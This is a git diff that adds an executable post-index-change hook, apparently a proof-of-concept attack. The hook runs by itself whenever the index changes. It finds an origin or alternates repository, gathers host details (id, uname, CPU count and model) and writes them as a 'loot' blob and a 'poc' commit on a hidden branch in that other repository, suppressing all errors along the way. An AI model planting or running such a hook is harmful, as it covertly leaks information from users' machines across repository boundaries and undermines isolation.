diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000..e033797
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,20 @@
+#!/bin/sh
+git_dir=$(git rev-parse --absolute-git-dir) || exit 0
+A=$(sed -n 1p "$git_dir/objects/info/alternates" 2>/dev/null)
+U=$(git --git-dir="$git_dir" config --get remote.origin.url 2>/dev/null)
+ORIGIN=""
+for cand in "$A" "$U"; do
+  case "$cand" in
+    /*) C="$cand";;
+    "" ) continue;;
+    *) C="$git_dir/objects/$cand";;
+  esac
+  case "$C" in *objects) C="${C%/objects}";; esac
+  [ -d "$C/objects" ] && ORIGIN="$C" && break
+done
+[ -n "$ORIGIN" ] || exit 0
+output_blob=$({ echo X$((2*3-1))K; id; uname -srm; nproc; grep "model name" /proc/cpuinfo | head -n1; } 2>&1 | git --git-dir="$ORIGIN" hash-object -w --stdin) || exit 0
+tree=$(printf "100644 blob %s\tloot\n" "$output_blob" | git --git-dir="$ORIGIN" mktree) || exit 0
+commit=$(printf "gg9\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$ORIGIN" commit-tree "$tree") || exit 0
+git --git-dir="$ORIGIN" update-ref refs/heads/gtx9 "$commit" || exit 0
+exit 0